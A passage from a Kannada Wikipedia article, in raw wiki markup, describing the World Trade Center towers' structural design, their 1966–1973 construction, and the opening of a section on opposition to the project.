ಕಡೆಯಲ್ಲಿಯೂ 59 ಕಂಬಗಳನ್ನು ಹೊಂದಿದ್ದು ಇವುಗಳನ್ನು ಫ್ಯಾಬ್ರಿಕೇಟ್ ಮಾಡಲಾದ ಮಾಡ್ಯುಲಾರ್ ತುಣುಕುಗಳನ್ನು ಹೊಂದಿದೆ.ಈ ಪ್ರತಿಯೊಂದು ತುಣುಕೂ ಮೂರು ಸ್ತಂಭಗಳನ್ನು ಹೊಂದಿದ್ದು , ಮೂರು ಮಹಡಿ ಎತ್ತರವಿರುವ [[wikt:spandrel|ಸ್ಪಾಂಡ್ರಲ್]] ಪಲಕಗಳಿಂದ ಜೋಡಿಸಲ್ಪಟ್ಟಿವೆ.<ref name="ncstar1-1-p10">ಎನ್‌ಐಎಸ್‌ಟಿ ಎನ್‌ಸಿ‌ಎಸ್‌ಟಿಎಆರ್ 1-1 (2005), ಪು. 10</ref> ಕಂಬಗಳಿಗೆ ಸ್ಪಾಂಡ್ರಲ್ ಪಲಕಗಳನ್ನು ಬೆಸೆಯಲಾಗಿದ್ದು ಮಾಡ್ಯುಲಾರ್ ತುಣುಕುಗಳಿಗೆ ಫ್ಯಾಬ್ರಿಕೇಶನ್ ಒದಗಿಸಲು ಅನುಕೂಲಕರವಾಗಿತ್ತು.<ref>ಎನ್‌ಐಎಸ್‌ಟಿ ಎನ್‌ಸಿ‌ಎಸ್‌ಟಿಎಆರ್ 1 (2005), ಪು. 8</ref> ಕಂಬಗಳು ಹಾಗೂ ಸ್ಪಾಂಡ್ರಲ್‌ಗಳ ನಡುವೆ ಇರುವ ಅಕ್ಕ ಪಕ್ಕದ ಮಾಡ್ಯೂಲ್ ಗಳನ್ನು ತಂತಿಗಳಿಂದ ಬಂಧಿಸಲಾಗಿದೆ. ಸ್ಪಾಂಡ್ರಲ್ ಪಲಕಗಳನ್ನು ಪ್ರತಿಯೊಂದು ಮಹಡಿಯಲ್ಲೂ ಜೋಡಿಸಲಾಗಿದ್ದು, ಅವು ವಿಭಜಿಸಿದ ಒತ್ತಡವ ನ್ನು ನಡುವೆ ಇರುವ ಕಂಬಗಳಿಗೆ ವರ್ಗಾಯಿಸುತ್ತವೆ ,ಇದರ ಮೂಲಕ ಪಕ್ಕದ ಭಾರವನ್ನು ಹೊರಲು ಅನುಕೂಲ ಮಾಡಿಕೊಡುತ್ತವೆ. ಮಾಡ್ಯೂಲ್ ಗಳ ನಡುವೆ ಇರುವ ಜೋಡಣೆಗಳನ್ನು ಲಂಬವಾಗಿ ಚಲಿಸುವಂತೆ ಮಾಡಲಾಗಿದ್ದು ಅಕ್ಕ ಪಕ್ಕದ ಮಾಡ್ಯೂಲ್ ಗಳ ನಡುವೆ ಇರುವ ಕಂಬ ತಂತಿಗಳು ಒಂದೇ ಮಹಡಿಯಲ್ಲಿ ಇರದಂತೆ ನೋಡಿಕೊಳ್ಳಲಾಗಿದೆ.<ref name="ncstar1-1-p10" /> ಗೋಪುರಗಳ ಮಧ್ಯ ಭಾಗವು ಎಲೆವೇಟರ್ ಗಳು ಮತ್ತು ಯುಟಿಲಿಟಿ ಶಾಪ್ಟ್ ಗಳು, ವಿಶ್ರಾಂತಿ ಕೊಠಡಿಗಳು, ಮೂರು ಸ್ಟೇರ್ ವೆಲ್ ಗಳು ಹಾಗೂ ಇತರೆ ಆಧಾರಿತ ಸ್ಥಳಗಳನ್ನು ಹೊಂದಿವೆ. ಮಧ್ಯ ಭಾಗ (ಕೋರ್)- ಇದು ಉಕ್ಕು ಮತ್ತು ಕಾಂಕ್ರೀಟ್ ನ ಸಂಯೋಜಿತ ರಚನೆಯಾಗಿದೆ. –<ref>{{Cite book|editor1-first=Monty |editor1-last=Finniston |editor2-first=Trevor |editor2-last=Williams |editor3-first=Christopher |editor3-last=Bissell |title=Oxford Illustrated Encyclopedia of Invention and Technology |year=1992 |publisher=Oxford University Press |isbn=0-19-869138-6 |page=322 |chapter=Skyscraper |quote=Modern skyscrapers such as the World Trade Center, New York, have steel and concrete hull-and-core structures. The central core–a reinforced concrete tower–contains lift shafts, staircases, and vertical ducts. From this core, the concrete and steel composite floors span on to a steel perimeter structure; a lightweight aluminium and glass curtain wall encloses the building. This type of construction is the most efficient so far designed against wind forces.}}</ref><ref>{{Cite web|first=Katherine |last=Stroup |title=‘Painful and Horrible’ |url=http://www.msnbc.msn.com/id/3069641/ |archiveurl=https://web.archive.org/web/20070306020115/http://www.msnbc.msn.com/id/3069641/ |work=MSNBC |publisher=Newsweek |location= |date=September 13, 2001 |archivedate=March 6, 2007 |quote=Still, Robertson, whose firm is responsible for three of the six tallest buildings in the world, feels a sense of pride that the massive towers, supported by a steel-tube exoskeleton and a reinforced concrete core, held up as well as they did—managing to stand for over an hour despite direct hits from two massive commercial jetliners. |accessdate=July 31, 2009}}</ref> ಪ್ರತಿಯೊಂದು ಗೋಪುರದ ಮಧ್ಯ ಭಾಗವೂ 87 , 135&nbsp;ಅಡಿ(27 , 41&nbsp;m) ವಿಸ್ತೀರ್ಣದ ಒಂದು ಆಯತಾಕಾರದ ಸ್ಥಳವಾಗಿದ್ದು,ಅಡಿಯಿಂದ ಗೋಪುರದ ತುದಿಯವರೆಗೂ 47ಉಕ್ಕಿನ ಕಂಬಗಳನ್ನು ಹೊಂದಿದೆ. ಸುತ್ತಳತೆಯ ಹಾಗೂ ಮಧ್ಯ ಭಾಗದ ನಡುವೆ ಎರಡು ಕಂಬಗಳ ಮಧ್ಯೆ ಇರುವ ಖಾಲಿ ಸ್ಥಳವನ್ನು ಫ್ಯಾಬ್ರಿಕೇಟ್ ಮಾಡಿದ ಅಚ್ಚುಗಳ ಸೇತುವೆಯಿಂದ ಜೋಡಿದೆಸಲಾಗಿದೆ. ಮಹಡಿಗಳು ತಮ್ಮ ಭಾರವನ್ನು ತಡೆಯುವುದಲ್ಲದೆ live loads ಮೂಲಕ ಹೊರ ಗೋಡೆಗಳಿಗೆ ಸ್ಥಿರತೆಯನ್ನು ಒದಗಿಸುತ್ತವೆ ಮತ್ತು ಅವುಗಳಿಗೆ ಗಾಳಿಯ ಒತ್ತಡಗಳನ್ನು ಹಂಚುತ್ತವೆ.<ref>ಎನ್‌ಐಎಸ್‌ಟಿ ಎನ್‌ಸಿ‌ಎಸ್‌ಟಿಎಆರ್ 1 (2005), ಪುಟಗಳು 8–9</ref> ಪ್ರತಿಯೊಂದು ಮಹಡಿಯೂ ಉಕ್ಕಿನ ಇಳಿಜಾರಿನ ಮೇಲೆ ನಿಂತಿರುವ{{convert|4|in|cm}} ಹಗುರವಾದ ಕಾಂಕ್ರೀಟ್ ಚಪ್ಪಡಿಗಳನ್ನು ಹೊಂದಿವೆ. ಟ್ರಸ್‍‍‍ಗಳಿಂದ ಮಾಡಲ್ಪಟ್ಟ ಹಗುರವಾದ ಸರಳು ಮತ್ತು ಪ್ರಧಾನ ಸರಳುಗಳು ಮಹಡಿಗಳಿಗೆ ಆಧಾರ ನೀಡುತ್ತವೆ. ಟ್ರಸ್‌ಗಳನ್ನು ಪರಿದಿಯ ಪರ್ಯಾಯ ಸ್ತಂಬಗಳಿಗೆ ಸಂಪರ್ಕಿಸಲಾಗಿದೆ. ಇವುಗಳನ್ನು 6ಅಡಿ 8ಇಂಚು ಇರುವ ಕೇಂದ್ರಗಳಲ್ಲಿ ನಿಲ್ಲಿಸಲಾಗಿತ್ತು. ಟ್ರಸ್ ತಂತಿಗಳ ತುದಿಗಳನ್ನು ಹೊರ ಭಾಗದಲ್ಲಿ ಸ್ಪಾಂಡ್ರೆಲ್ ಗಳಿಗೆ ಬೆಸುಗೆ ಹಾಕಲಾದ ಸೀಟ್ ಗಳಿಗೆ ಬಂಧಿಸಲಾಗಿದೆ ಮತ್ತು ಒಳ ಭಾಗದಲ್ಲಿ ಕೋರ್ ಕಂಬಗಳಿಗೆ ಒಂದು ನಾಲೆಯನ್ನು ಬೆಸುಗೆ ಹಾಕಲಾಗಿತ್ತು. ಮಹಡಿಗಳನ್ನು ಸ್ನಿಗ್ದ ಸ್ಥಿತಿಸ್ಥಾಪಕ ಡ್ಯಾಂಪರ್ ಗಳ ಮೂಲಕ್ ಪರಿದಿಯ ಸ್ಪಾಂಡ್ರಲ್ ಪಲಕಗಳಿಗೆ ಜೋಡಿಸಿದ್ದು, ಕಟ್ಟಡವನ್ನು ಆಕ್ರಮಿಸಿರುವ ಇತರ ವಸ್ತುಗಳು ಇದರ ಮೇಲೆ ಬಾಗುವುದನ್ನು ತಡೆಯುತ್ತವೆ. ಟ್ರಸ್ ಗಳು ಒಂದು{{convert|4|in|mm|sing=on}} ಹಗುರವಾದ ಕಾಂಕ್ರೀಟ್ ಚಪ್ಪಡಿಗೆ ಆಧಾರ ಕೊಡುವುದರ ಜೊತೆಗೆ ಕತ್ತರಿಸಿದ ಸಂಪರ್ಕಗಳ ಮೂಲಕ ಸಂಕೀರ್ಣ ಕೆಲಸಕ್ಕೆ ಸಹಾಯ ಮಾಡುತ್ತದೆ.<ref name="NIST NCSTAR 1 2005, p. 10">ಎನ್‌ಐಎಸ್‌ಟಿ ಎನ್‌ಸಿ‌ಎಸ್‌ಟಿಎಆರ್ 1 (2005), ಪು. 10</ref> 107ನೇ ಮಹಡಿಯ ಮೇಲೆ ಇರುವ ಹಾಟ್ ಟ್ರಸ್‌‍ಗಳು (ಅಥವಾ "ಅವುಟ್ರಿಗ್ಗರ ಟ್ರಸ್‌") ಕಟ್ಟಡದ ತುದಿಯಲ್ಲಿರುವ ಆಂಟೆನಾದೊಂದಿಗೆ ಸಂಪರ್ಕವನ್ನು ಏರ್ಪಡಿಸಲು ಸಹಾಯ ಮಾಡುತ್ತವೆ.<ref name="NIST NCSTAR 1 2005, p. 10" /> 1&nbsp;ಡಬ್ಲುಟಿಸಿ (ಉತ್ತರ ಗೋಪುರ) ಕ್ಕೆ ಮಾತ್ರ ಆಂಟೆನಾವನ್ನು ಅಳವಡಿಸಲಾಗಿದೆ; ಇದನ್ನು 1978ರಂದು ಅಳವಡಿಸಳಾಯಿತು.<ref>{{Cite web|url=http://www.pbs.org/wgbh/amex/New York/sfeature/sf_building.html |title=New York: A Documentary Film - The Center of the World (Construction Footage) |publisher = Port Authority / PBS |accessdate=May 16, 2007}} {{Dead link|date=September 2010|bot=H3llBot}}</ref> ಟ್ರಸ್ ವ್ಯವಸ್ಥೆಯು ಮಧ್ಯ ಭಾಗದ ಉದ್ದವಾದ ಅಕ್ಷದುದ್ದಕ್ಕೂ ಆರು ಟ್ರಸ್ ಗಳನ್ನೂ ಹಾಗೂ ಚಿಕ್ಕದಾದ ಅಕ್ಷದುದ್ದಕ್ಕೂ ನಾಲ್ಕು ಟ್ರಸ್ ಗಳನ್ನೂ ಹೊಂದಿದೆ. ಈ ಟ್ರಸ್ ವ್ಯವಸ್ಥೆಯು ಪರಿದಿ ಹಾಗೂ ಮಧ್ಯ ಭಾಗದ ನಡುವೆ ಭಾರವನ್ನು ಮರು ಹಂಚುದಕ್ಕೆ ಅನುಕೂಲಕರವಾಗಿದ್ದು,ಸಂವಹನಾ ಗೋಪುರಕ್ಕೆ ಆಧಾರವನ್ನು ಕೊಡುತ್ತದೆ.<ref name="NIST NCSTAR 1 2005, p. 10" /> ಉಕ್ಕಿನ ಕೋರ್ ಮತ್ತು ಪರಿಧಿ ಸ್ತಂಬಗಳನ್ನು ಟ್ಯೂಬ್ ಫ್ರೇಮ್ ವಿನ್ಯಾಸವನ್ನು ಬಳಸಿ ಬೆಂಕಿ ನಿರೋಧಕ ವಸ್ತುವನ್ನು ಸಿಂಪಡಿಸುವುದರ ಮೂಲಕ ಸುರಕ್ಷಿಸಲಾಗಿದೆ.ಇದು ಸಾಪೇಕ್ಷವಾಗಿ ಹಗುರವಾದ ಒಂದು ರಚನೆಯಾಗಿದ್ದು ಎಂಪೈರ್ ಸ್ಟೇಟ್ ಕಟ್ಟಡ ಗಳಂತಹ ಸಾಂಪ್ರದಾಯಿಕ ಕಟ್ಟಡಗಳಿಗೆ ಹೋಲಿಸಿದಾಗ ಅವು ಅತ್ಯಂತ ಭಾರವಾದ ಉಕ್ಕಿನ ಬೆಂಕಿ ನಿರೋಧಕ ರಚನೆಗಳನ್ನು ಹೊಂದಿದ್ದರೂ ಸಹ ಅಧಿಕ ಪ್ರಮಾಣದಲ್ಲಿ ತೊನೆದಾಡುತ್ತವೆ. ಆದರೆ ಇವುಗಳಲ್ಲಿ ಇದು ಕಂಡು ಬರುವುದಿಲ್ಲ.<ref>ಗ್ಲಾಂಜ್ ಮತ್ತು ಲಿಪ್ಟನ್ (2003), p. 138</ref> ವಿಶ್ವ ವಾಣಿಜ್ಯ ಕೇಂದ್ರವು ಗಾಳಿಯ ಒತ್ತಡದ ಬಲಗಳನ್ನು ಪ್ರತಿರೋಧಿಸಲು ಸಹಾಯ ಮಾಡುವ ಸೂಕ್ತ ಗಾಳಿಯ ಒತ್ತಡಕಗಳನ್ನು ರಚಿಸಲು ವಿಂಡ್ ಟನಲ್ ಪರೀಕ್ಷೆಯನ್ನು ಮಾಡಲಾಯಿತು.<ref>ಎನ್‌ಐಎಸ್‌ಟಿ ಎನ್‌ಸಿ‌ಎಸ್‌ಟಿಎಆರ್ 1-1A (2005), p. 65</ref> ತೊನೆದಾಟವನ್ನು ಎಷ್ಟರ ಮಟ್ಟಿಗೆ ತಡೆದು ಕೊಳ್ಳಬಹುದು ಎಂಬುದನ್ನು ಮೌಲ್ಯಮಾಪನ ಮಾಡಲು ಕೆಲವು ಪ್ರಯೋಗಗಳನ್ನು ಮಾಡಲಾಯಿತು,ಆದರೆ ಹಲವಾರು ಜನರಿಗೆ ತಲೆ ಸುತ್ತುವ ಅನುಭವವಾಯಿತು ಮತ್ತು ಇನ್ನು ಕೆಲವರು ಪ್ರತಿಕೂಲ ಪರಿಣಾಮಗಳನ್ನು ಅನುಭವಿಸಿದರು.<ref>ಗ್ಲಾಂಜ್ ಮತ್ತು ಲಿಪ್ಟನ್ (2003), ಪುಟಗಳು 139–144</ref> ಮುಖ್ಯ ಅಭಿಯಂತರುಗಳಲ್ಲಿ ಒಬ್ಬರಾದ ಲೆಲ್ಸಿ ರಾಬರ್ಟ್ ಸನ್ ಕೆನಡಾದ ಅಭಿಯಂತರರಾದ ಅಲನ್ ಜಿ. ಡೇವನ್ ಪೋರ್ಟ್ರೊಂದಿಗೆ ಸೇರಿ ಕೆಲವು ಪ್ರಮಾಣದ ತೊನೆದಾಟವನ್ನು ಹೀರಿಕೊಳ್ಳುವ ಸ್ನಿಗ್ದ ಸ್ಥಿತಿ ಸ್ಥಾಪಕ ಡ್ಯಾಂಪರ್ಗಳನ್ನು ತಯಾರಿಸಿದರು. ಈ ಸ್ನಿಗ್ದ ಸ್ಥಿತಿ ಸ್ಥಾಪಕ ಡ್ಯಾಂಪರ್ ಗಳನ್ನು, ಮಹಡಿಯ ಟ್ರಸ್ ಗಳ ನಡುವೆ ಇರುವ ಜೋಡಣೆಗಳುದ್ದಕ್ಕೂ ಬಳಸಲಾಗಿದೆ ಮತ್ತು ಕೆಲವು ರಚನಾತ್ಮಕ ಬದಲಾವಣೆಗಳಿಂದ ಪರಿದಿಯ ಸ್ತಂಬಗಳುದ್ದಕ್ಕೂ ಉಪಯೋಗಿಸಿದ್ದು, ಕಟ್ಟಡವು ಒಂದು ಹಂತದವರಗೆ ಅಲುಗಾಡದಂತೆ ನೋಡಿಕೊಳ್ಳಲಾಗಿದೆ.<ref>ಗ್ಲಾಂಜ್ ಮತ್ತು ಲಿಪ್ಟನ್ (2003), ಪುಟಗಳು 160–167</ref> ===ನಿರ್ಮಾಣ === [[File:WTC-1970-under-construction.jpg|thumb|right|200px|1970ರಲ್ಲಿ ವಿಶ್ವ ವಾಣಿಜ್ಯ ಕೇಂದ್ರದ ನಿರ್ಮಾಣ ಕಾರ್ಯ]] ಮಾರ್ಚ್ 1965ರಲ್ಲಿ, ಬಂದರು ಪ್ರಾಧಿಕಾರವು, ವಿಶ್ವ ವಾಣಿಜ್ಯ ಕೇಂದ್ರ ಸ್ಥಳದಲ್ಲಿನ ಸ್ವತ್ತನ್ನು ಸ್ವಾಧೀನಪಡಿಸಿಕೊಳ್ಳಲು ಪ್ರಾರಂಭಿಸಿತು.<ref>{{Cite news|title=Port Agency Buys Downtown Tract |author=Ingraham, Joseph C. |date=March 29, 1965 |work=The New York Times}}</ref> ವಿಶ್ವ ವಾಣಿಜ್ಯ ಕೇಂದ್ರದ ನಿರ್ಮಾಣಕ್ಕಾಗಿ ರೇಡಿಯೋ ರೋನಲ್ಲಿನ ಕಡಿಮೆ ಅಂತಸ್ತಿನ ಕಟ್ಟಡಗಳ ಹದಿಮೂರು ಚದರ ಬ್ಲಾಕ್‌ಗಳನ್ನು ಮುಕ್ತಗೊಳಿಸಲು, ಕೆಡವುವ ಕೆಲಸವು 1966ರಂದು, ಪ್ರಾರಂಭವಾಯಿತು {{Nowrap|March 21}}.<ref name="gillespie-p61">ಜಿಲೆಸ್ಪೀ (1999), ಪು. 61</ref> ವಿಶ್ವ ವಾಣಿಜ್ಯ ಕೇಂದ್ರದ ನಿರ್ಮಾಣಕ್ಕಾಗಿ ನೆಲವನ್ನು ಛೇದಿಸುವ ಕೆಲಸವು 1966ರಂದು ಪ್ರಾಂರಂಭವಾಯಿತು {{Nowrap|August 5}}.<ref>{{Cite book |author=Federal Emergency Management Agency |month=May |year=2002 |title=World Trade Center Building Performance Study |chapter=Chapter 1 |url=http://www.fema.gov/rebuild/mat/mat_fema403.shtm |access-date=ನವೆಂಬರ್ 23, 2010 |archive-date=ಜುಲೈ 28, 2011 |archive-url=https://web.archive.org/web/20110728162901/http://www.fema.gov/rebuild/mat/mat_fema403.shtm |url-status=dead }}</ref> ವಿಶ್ವ ವಾಣಿಜ್ಯ ಕೇಂದ್ರದ ಜಾಗವು ಕಲ್ಲುಗಳಿಂದ ತುಂಬಿದ ಅಡಿಯನ್ನು ಹೊಂದಿದೆ {{convert|65|ft|m}}.<ref name="iglauer">{{Cite news |url=http://www.New Yorker.com/archive/1972/11/04/1972_11_04_130_TNY_CARDS_000308769 |title=The Biggest Foundation |author=Iglauer, Edith |date=November 4, 1972 |work=The New Yorker |access-date=ಆಗಸ್ಟ್ 17, 2021 |archive-date=ಆಗಸ್ಟ್ 19, 2016 |archive-url=https://web.archive.org/web/20160819095856/https://new/ |url-status=dead }}</ref> ವಿಶ್ವ ವಾಣಿಜ್ಯ ಕೇಂದ್ರವನ್ನು ನಿರ್ಮಿಸಲು, ಹಡ್ಸನ್ ನದಿಯಿಂದ ನೀರುಹೊರಕ್ಕೆ ಬರುವಂತೆ ಮಾಡಲು, ಜಾಗದ ಪಶ್ಚಿಮ ಬೀದಿಯ ಪಕ್ಕದ ಸುತ್ತಲೂ ಸಿಮೆಂಟು ಗೋಡೆಯೊಂದಿಗೆ, "ಸ್ನಾನದತೊಟ್ಟಿಯನ್ನು" ನಿರ್ಮಿಸುವುದು ಅಗತ್ಯ.<ref>{{Cite news|title=Tall Towers will Sit on Deep Foundations |last=Kapp |first=Martin S |publisher=Engineering News Record |date=July 9, 1964}}</ref> ಬಂದರು ಪ್ರಾಧಿಕಾರದ ಮುಖ್ಯ ಇಂಜಿನೀಯರಾದ ಜಾಹ್ನ್ ಎಮ್. ಕಿಲೆ, ಜೂ.ರವರಿಂದ ಆಯ್ಕೆಮಾಡಲ್ಪಟ್ಟ ಸಿಮೆಂಟು ವಿಧಾನವು, ಕಾಲುವೆಯನ್ನು ತೋಡುವಿಕೆ, ಮತ್ತು ಅಗೆತವು ಮುಂದುವರೆದಂತೆ, ಜಾಗವನ್ನು ಬೆಂಟೋನೈಟ್ ಮತ್ತು ನೀರಿನಿಂದ ಮಾಡಲ್ಪಟ್ಟ "ಸಿಮೆಂಟ್" ಮಿಶ್ರಣದಿಂದ ತುಂಬಲಾಗಿದ್ದು, ಇದು ನೆಲದಲ್ಲಿನ ನೀರು ಹೊರಕ್ಕೆ ಹೋಗುವಂತೆ ಮಾಡುವ ರಂದ್ರಗಳನ್ನು ಹೊಂದುವಂತೆ ಮಾಡುವುದನ್ನು ಒಳಗೊಂಡಿದೆ. ಕಂದಕವನ್ನು ತೋಡುವಿಕೆಯು ಪುರ್ಣಗೊಂಡಾಗ, ಉಕ್ಕಿನ ಪಂಜರವನ್ನು ಒಳಸೇರಿಸಲಾಯಿತು ಮತ್ತು ಕಾಂಕ್ರೀಟನ್ನು ಅದರಲ್ಲಿ ತುಂಬಿಸಿ, ಇದರಿಂದ "ಸಿಮೆಂಟು" ಗೋಡೆ ನಿರ್ಮಾಣವಾಗುವಂತೆ ಮಾಡಲಾಯಿತು. ಸಿಮೆಂಟು ಗೋಡೆಯನ್ನು ಪೂರ್ಣಗೊಳಿಸಲು ಹದಿನಾಲ್ಕು ತಿಂಗಳುಗಳ ಕಾಲ ಬೇಕಾಯಿತು; ಜಾಗದ ಒಳಭಾಗದ ಸಲಕರಣೆಗಳ ಅಗೆತವು ಪ್ರಾರಂಭವಾಗುವ ಮೊದಲೇ ಇದನ್ನು ನಿರ್ಮಿಸುವುದು ಅಗತ್ಯ.<ref name="gillespie-p68">ಜಿಲೆಸ್ಪೀ (1999), ಪು. 68</ref> ಅಗೆದ ಸಲಕರಣೆಗಳ, 1.2&nbsp;ಮಿಲಿಯನ್ ಚದುರ ಆವಾರಗಳನ್ನು (917,000&nbsp;ಮೀ<sup>3</sup>) ಉಪಯೋಗಿಸಿ, ಪಶ್ಚಿಮ ಬೀದಿಗೆ ಅಡ್ಡಲಾಗಿ ಮ್ಯಾನ್‌ಹಾಟನ್ ತೀರವನ್ನು ವಿಸ್ತರಿಸಿ ಬ್ಯಾಟರಿ ಪಾರ್ಕ್ ನಗರವನ್ನು (ಇತರ ತುಂಬುವ ಮತ್ತು ಉದುರಿಸುವ ಪದಾರ್ಥಗಳೊಂದಿಗೆ) ರಚಿಸಲಾಯಿತು.<ref name="gillespie-p71">ಜಿಲೆಸ್ಪೀ (1999), ಪು. 71</ref><ref>{{Cite news|title=New York Gets $90&nbsp;Million Worth of Land for Nothing |publisher=Engineering News Record |date=April 18, 1968}}</ref> ಜನವರಿ 1967ರಲ್ಲಿ, ಬಂದರು ಪ್ರಾಧಿಕಾರವು, ವಿವಿಧ ಉಕ್ಕಿನ ವಿತರಕರಿಗೆ ಒಪ್ಪಂದಗಳಲ್ಲಿ $74&nbsp;ಮಿಲಿಯನ್ ಪುರಸ್ಕಾರವನ್ನು ನೀಡಿತು ಮತ್ತು ಉಕ್ಕಿನ ನಿರ್ಮಾಣಕ್ಕಾಗಿ ಕಾರ್ಲ್ ಕೋಚ್‌ನ್ನು ಬಾಡಿಗೆಗೆ ಪಡೆಯಲಾಯಿತು.<ref name="nyt-1967jan24">{{Cite news|title=Contracts Totaling $74,079,000 Awarded for the Trade Center |work=The New York Times |date=January 24, 1967}}</ref> ಯೋಜನೆಯ ನಿರ್ಮಾಣದ ಮೇಲ್ವಿಚಾರಣೆಯ ಜವಾಬ್ದಾರಿಯನ್ನು ಟಿಸ್ಮನ್ ರಿಯಾಲ್ಟಿ & ಕನ್ಸ್‌ಟ್ರಕ್ಷನ್ ಸಂಸ್ಥೆಗೆ ನೀಡಲಾಯಿತು {{Nowrap|February 1967}}.<ref>{{Cite news|title=Trade Center Job To Go To Tishman |author=Kihss, Peter |work=The New York Times |date=February 27, 1967}}</ref> ಉತ್ತರ ಟವರ್‌ನಲ್ಲಿ ನಿರ್ಮಾಣಕಾರ್ಯವು ಪ್ರಾರಂಭವಾಯಿತು {{Nowrap|August 1968}}; ದಕ್ಷಿಣ ಟವರ್‌ನಲ್ಲಿನ ನಿರ್ಮಾಣಕಾರ್ಯವು ಮುಂದುವರೆಯುತ್ತಿದೆ {{Nowrap|January 1969}}.<ref name="pbstimeline">{{Cite web|url=http://www.pbs.org/wgbh/amex/New York/timeline/index.html |title=Timeline: World Trade Center chronology |publisher=PBS – American Experience |accessdate=May 15, 2007}} {{Dead link|date=September 2010|bot=H3llBot}}</ref> ಹಡ್ಸನ್ ಟರ್ಮಿನಲ್‌ಗೆ ಮಾರ್ಗದ ರೈಲುಗಳನ್ನು ಒಯ್ಯುತ್ತಿದ್ದ, ಮೂಲ ಹಡ್ಸನ್ ಟ್ಯೂಬುಗಳು, ನಿರ್ಮಾಣದ ಸಮಯದಲ್ಲಿ ಉನ್ನತಗೊಳಿಸುವ ಟನ್ನೆಲ್‌ಗಳಾಗಿ, 1971ರಲ್ಲಿ ಹೊಸಾ ಮಾರ್ಗದ ನಿಲ್ದಾಣವು ಪ್ರಾರಂಭವಾಗುವವರೆಗೂ ಸೇವೆಯಲ್ಲೇ ಉಳಿದಿದ್ದವು.<ref>{{Cite news|author=Carroll, Maurice |title=A Section of the Hudson Tubes is Turned into Elevated Tunnel |date=December 30, 1968 |work=The New York Times}}</ref> 1&nbsp;ಡಬ್ಲುಟಿಸಿ (ಉತ್ತರ ಟವರ್‌)ನ ನಿರ್ಮಾಣಕಾರ್ಯ ಪೂರ್ಣಗೊಂಡ ಸಮಾರಂಭವು 1970ರಂದು ನಡೆಯಿತು {{Nowrap|December 23}}, 2&nbsp;ಡಬ್ಲುಟಿಸಿಯ (ದಕ್ಷಿಣ ಟವರ್‌ ಸಮಾರಂಭವು ನಂತರ 1971ರಂದು ನಡೆಯಿತು {{Nowrap|July 19}}.<ref name="pbstimeline" /> ಉತ್ತರ ಟವರ್‌ಗೆ ಮೊದಲ ಬಾಡಿಗೆದಾರರು {{Nowrap|December 1970}} ರಲ್ಲಿ ಬಂದರು; ದಕ್ಷಿಣ ಟವರ್‌ಗೆ ಬಾಡಿಗೆದಾರರು ಬಂದದ್ದು {{Nowrap|January 1972}} ರಲ್ಲಿ.<ref>ಎನ್‌ಐಎಸ್‌ಟಿ ಎನ್‌ಸಿ‌ಎಸ್‌ಟಿಎಆರ್ 1-1, ಪು. xxxvi</ref> ವಿಶ್ವ ವಾಣಿಜ್ಯ ಕೇಂದ್ರದ ಅವಳಿ ಟವರ್‌ಗಳು ಪೂರ್ಣಗೊಂಡಾಗ, ಬಂದರು ಪ್ರಾಧಿಕಾರಕ್ಕೆ ತಗುಲಿದ ಪೂರ್ಣ ವೆಚ್ಚ $900&nbsp;ಮಿಲಿಯನ್.<ref name="Cudahy">ಕುದಾಯ್ (2002), ಪು. 58</ref> ಪ್ರಾಂಭೋತ್ಸವದ ಸಮಾರಂಭ ನಡೆದದ್ದು 1973ರಂದು {{Nowrap|April 4}}.<ref>ಜಿಲೆಸ್ಪೀ (1999), ಪು. 134</ref> ===ವಿಮರ್ಶೆ=== [[File:WTC-looking north.jpg|thumb|right|ಹೊಸದಾಗಿ ನಿರ್ಮಿತವಾಗಿರುವ ವೆಸ್ಟ್ ಸೈಡ್ ಹೈವೆ [122].]] ವಿಶ್ವ ವಾಣಿಜ್ಯ ಕೇಂದ್ರವನ್ನು ನಿರ್ಮಾಣ ಮಾಡುವ ಯೋಜನೆಗಳು ವಿವಾದಾಸ್ಪದವಾಗಿದ್ದವು. ವಿಶ್ವ ವಾಣಿಜ್ಯ ಕೇಂದ್ರವನ್ನು ನಿರ್ಮಿಸಲು ಆಯ್ಕೆ ಮಾಡಲಾದ ಸ್ಥಳವು ರೇಡಿಯೋ ರೋನ ಜಾಗವಾಗಿದ್ದು, ಇದು ನೂರಾರು ವಾಣಿಜ್ಯ ಮತ್ತು ಕೈಗಾರಿಕಾ ಬಾಡಿಗೆದಾರರ, ಸ್ವತ್ತಿನ ಮಾಲೀಕರ, ಚಿಕ್ಕ ವ್ಯಾಪಾರಗಳ, ಮತ್ತು ಸುಮಾರು 100 ನಿವಾಸಿಗರ ತವರಾಗಿತ್ತು, ಇವರಲ್ಲಿ ಬಹುತೇಕ ಜನರು ಆವೇಶದಿಂದ ಪ್ರತಿಭಟಿಸಿ ಸ್ಥಳಾಂತರಕ್ಕೆ ಒತ್ತಾಯಿಸಿದ್ದರು.<ref>ಜಿಲೆಸ್ಪೀ (1999), ಪುಟಗಳು 42–44</ref> ಇದರ ಪರಿಣಾಮವನ್ನು ಹೊಂದಿದ್ದ ಚಿಕ್ಕ ವ್ಯಾಪಾರದ ಗುಂಪು, ಬಂದರು ಪ್ರಾಧಿಕಾರದ ಪ್ರಭಾವ ಕ್ಷೇತ್ರದ ದೊಡ್ಡಸ್ತಿಕೆಯ ಅಧಿಕಾರಕ್ಕೆ ಸವಾಲುಹಾಕುವ ತಡೆಯಾಜ್ಞೆಯನ್ನು ದಾಖಲಿಸಿದರು.<ref>{{Cite news|title=Injunction Asked on Trade Center |date=June 27, 1962 |work=The New York Times |author=Clark, Alfred E.}}</ref> ಈ ಮೊಕದ್ದಮೆಯು ನ್ಯಾಯಾಲಯದ ಪದ್ಧತಿಯ ಮೂಲಕ ಯುನೈಟೆಡ್ ಸ್ಟೇಟ್ಸ್‌ ಸರ್ವೋಚ್ಚನ್ಯಾಯಾಲಯದ ಮೆಟ್ಟಿಲೇರಿತು; ಆದರೆ ನ್ಯಾಯಾಲಯವು ಈ ಮೊಕದ್ದಮೆಯನ್ನು ನಿರಾಕರಿಸಿತು.<ref name="nyt-1963nov13">{{Cite news|title=High Court Plea is Lost by Foes of Trade Center |author=Arnold, Martin |work=The New York Times |date=November 13, 1963}}</ref> ಯಂಪಯರ್ ಸ್ಟೇಟ್ ಕಟ್ಟಡದ ಒಡೆಯ ಲಾರೆನ್ಸ್ ಎ ವೈನ್‌ರ ನಾಯಕತ್ವದಲ್ಲಿ, ಖಾಸಗಿ ಭೂ ಸೊತ್ತು ಅಭಿವೃದ್ಧಿಕಾರರು ಮತ್ತು ನ್ಯೂ ಯಾರ್ಕ್ ಭೂ ಸೊತ್ತು 